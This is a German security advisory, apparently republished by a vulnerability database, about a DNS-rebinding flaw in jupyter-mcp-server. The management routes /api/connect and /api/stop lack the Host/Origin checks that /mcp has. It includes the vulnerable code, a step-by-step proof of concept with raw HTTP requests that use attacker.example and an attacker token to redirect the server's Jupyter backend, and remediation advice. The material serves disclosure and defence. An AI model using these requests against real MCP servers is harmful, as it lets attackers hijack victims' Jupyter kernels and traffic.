Jupyter MCP Server: Browser-DNS-Rebinding kann das Jupyter-Backend über Management-Routen kapern
Der Standalone-streamable-http-Modus in datalayer/jupyter-mcp-server weist gefälschte Host- und Origin-Header auf /mcp ab, jedoch erhalten benutzerdefinierte Management-Routen auf derselben Anwendung nicht denselben Schutz vor Browser-Ursprüngen. Eine bösartige Website kann ihren Angreifer-Ursprung beibehalten, während ihr Hostname zu 127.0.0.1 oder einer privaten Zieladresse aufgelöst wird, und anschließend PUT /api/connect senden, um das aktive Jupyter-Backend des MCP-Servers zu ersetzen. Die Route akzeptiert die Anfrage im Browser-Format und veranlasst den Server, einen Kernel-Client gegen die vom Angreifer kontrollierte Infrastruktur zu starten.
Der geschützte Endpunkt /mcp demonstriert die vorgesehene Grenze für Browser-Ursprünge. Wenn MCP_TOKEN konfiguriert ist, weist /mcp gefälschte Browser-Header ab:
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142
HTTP 421 Invalid Host header
Die verwundbare Route ist jupyter_mcp_server/server.py:143-187. Sie parst JSON-Daten des Aufrufers, aktualisiert die Konfiguration des aktiven Jupyter-Backends, setzt ServerContext zurück und startet den Kernel, ohne die /mcp-Host/Origin-Abweisung auf die benutzerdefinierte Route anzuwenden:
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()
document_runtime = DocumentRuntime(**data)
set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)
ServerContext.reset()
try:
__start_kernel()
return JSONResponse({"success": True})
Auch /api/stop ändert den Status und akzeptiert dasselbe Browser-Origin-Format:
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
Machbarkeitsnachweis (PoC)
Führen Sie die betroffene Version mit konfigurierter MCP_TOKEN aus:
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
Zunächst wird gezeigt, dass /mcp die Anfrage im Browser-Format abweist:
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
Beobachtete Antwort:
HTTP/1.1 421
Invalid Host header
Senden Sie nun dieselbe Browser-Ursprungsanfrage an die benutzerdefinierte Management-Route. Bei einem Browser-DNS-Rebinding-Angriff behält die vom Angreifer kontrollierte Seite den Angreifer-Ursprung bei, während der Hostname zu 127.0.0.1 oder dem privaten MCP-Listener aufgelöst wird:
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json
{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}
Beobachtete Antwort:
HTTP/1.1 200 OK
content-type: application/json
{"success":true}
Das Server-Protokoll zeigt, dass /api/connect das vom Angreifer gewählte Backend trotz der Browser-Origin-Header akzeptiert hat:
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
Wenn ein vom Angreifer kontrolliertes Backend auf 127.0.0.1:9183 lauscht, empfängt es Jupyter-API-Verkehr vom MCP-Server:
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND
GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
Auswirkungen
Der geschützte Endpunkt /mcp weist gefälschte Host- und Origin-Werte ab, benachbarte benutzerdefinierte Routen akzeptieren diese jedoch und führen sensible Statusänderungen durch. Ein webbasierter Angreifer kann DNS-Rebinding ausnutzen, um über den Browser des Opfers einen lokalen, LAN-, VPN- oder Docker-exponierten MCP-Listener zu erreichen, den aktuellen Notebook-Kernel über /api/stop zu stoppen, die konfigurierten Werte für runtime_url und document_url über /api/connect zu ersetzen und den MCP-Server zu veranlassen, Jupyter-API- sowie WebSocket-Verkehr an die Infrastruktur des Angreifers zu senden.
Einstufung als Schwachstelle
- Es handelt sich nicht um eine allgemeine Behauptung, dass
/mcpkeine Host-Validierung durchführt./mcpweist manipulierte Host-Anfragen mitHTTP 421 Invalid Host headerab. - Es handelt sich nicht um eine vertrauenswürdige MCP-Client-Operation. Der betroffene Pfad ist eine benutzerdefinierte HTTP-Route außerhalb des regulären JSON-RPC-Tool-Dispatchings und akzeptiert Anfragen im Browser-Format.
- Es handelt sich nicht lediglich um ein Problem der Bindung an alle Schnittstellen. Die standardmäßige Bindung an
0.0.0.0erhöht zwar das Risiko, das eigentliche Problem der Browser-Ursprungsgrenze besteht jedoch darin, dass statusverändernde benutzerdefinierte Routen die für/mcpgeltenden Host/Origin-Kontrollen umgehen.
Was zu tun ist
Die Sicherheitsrichtlinie für Browser-Ursprünge sollte auf jede Route der Standalone-HTTP-Anwendung angewendet werden:
- Vor dem Parsen von Anfrage-Bodys oder dem Ändern der globalen Konfiguration durch benutzerdefinierte Routen muss eine Host- und Origin-Validierung erzwungen werden.
- Das
MCP_TOKEN-Bearer-Token sollte für/api/connect,/api/stop,/api/healthzsowie alle zukünftigen benutzerdefinierten Routen erforderlich sein, die den Serverstatus lesen oder verändern. - Standalone-HTTP sollte standardmäßig an
127.0.0.1gebunden werden, mit einer expliziten Host-Allowlist für Nicht-Loopback-Listener. - Ergänzung von Regressionstests, die sicherstellen, dass
/api/connectund/api/stopgefälschte Browser-Header fürHostundOriginabweisen.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | jupyter-mcp-server | < 1.0.3 | 1.0.3 |
Verweise
- https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-9x8x-crjq-g64h
- https://nvd.nist.gov/vuln/detail/CVE-2026-77359
- https://github.com/datalayer/jupyter-mcp-server/pull/262
- https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4
- https://github.com/datalayer/jupyter-mcp-server
- https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H- Schwäche (CWE)
CWE-350- Plattform
- Python (PyPI)
- Paket
jupyter-mcp-server- Veröffentlicht
- 20.11.2026
- Aktualisiert
- 21.11.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-9x8x-crjq-g64h - CC BY 4.0
Schwachstellenhistorie: jupyter-mcp-server
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
Dies ist die einzige bekannte Schwachstelle dieses Pakets.
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.